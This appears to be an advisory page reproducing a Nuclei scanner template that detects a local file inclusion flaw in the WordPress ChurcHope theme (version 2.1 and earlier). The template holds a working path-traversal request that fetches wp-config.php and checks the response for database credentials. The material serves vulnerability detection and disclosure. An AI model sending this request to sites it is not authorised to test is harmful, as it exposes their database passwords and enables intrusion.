churchope-lfi: WordPress ChurcHope Theme <= 2.1 - Local File Inclusion

2025-08-01 WordPress ChurcHope Theme PoC Public

Description

WordPress ChurcHope Theme <= 2.1 is susceptible to local file inclusion. The vulnerability is caused by improper filtration of user-supplied input passed via the 'file' HTTP GET parameter to the '/lib/downloadlink.php' script, which is publicly accessible.

PoC

id: churchope-lfi

info:
  name: WordPress ChurcHope Theme <= 2.1 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: WordPress ChurcHope Theme <= 2.1 is susceptible to local file inclusion. The vulnerability is caused by improper filtration of user-supplied input passed via the 'file' HTTP GET parameter to the '/lib/downloadlink.php' script, which is publicly accessible.
  reference:
    - https://wpscan.com/vulnerability/3c5833bd-1fe0-4eba-97aa-7d3a0c8fda15
  classification:
    cwe-id: CWE-23
  metadata:
    max-request: 1
  tags: wp,wpscan,wordpress,wp-theme,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e047b834b91c1ab2da9ef7a00e67c4f02148ae1f4e9c8de6fcbb8fdd29944dac022100961aa54ec1e945e02ae36f0ea53dfb3e907f28e11b7d7a374168ef7bd5fd7d4f:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/churchope-lfi.yaml

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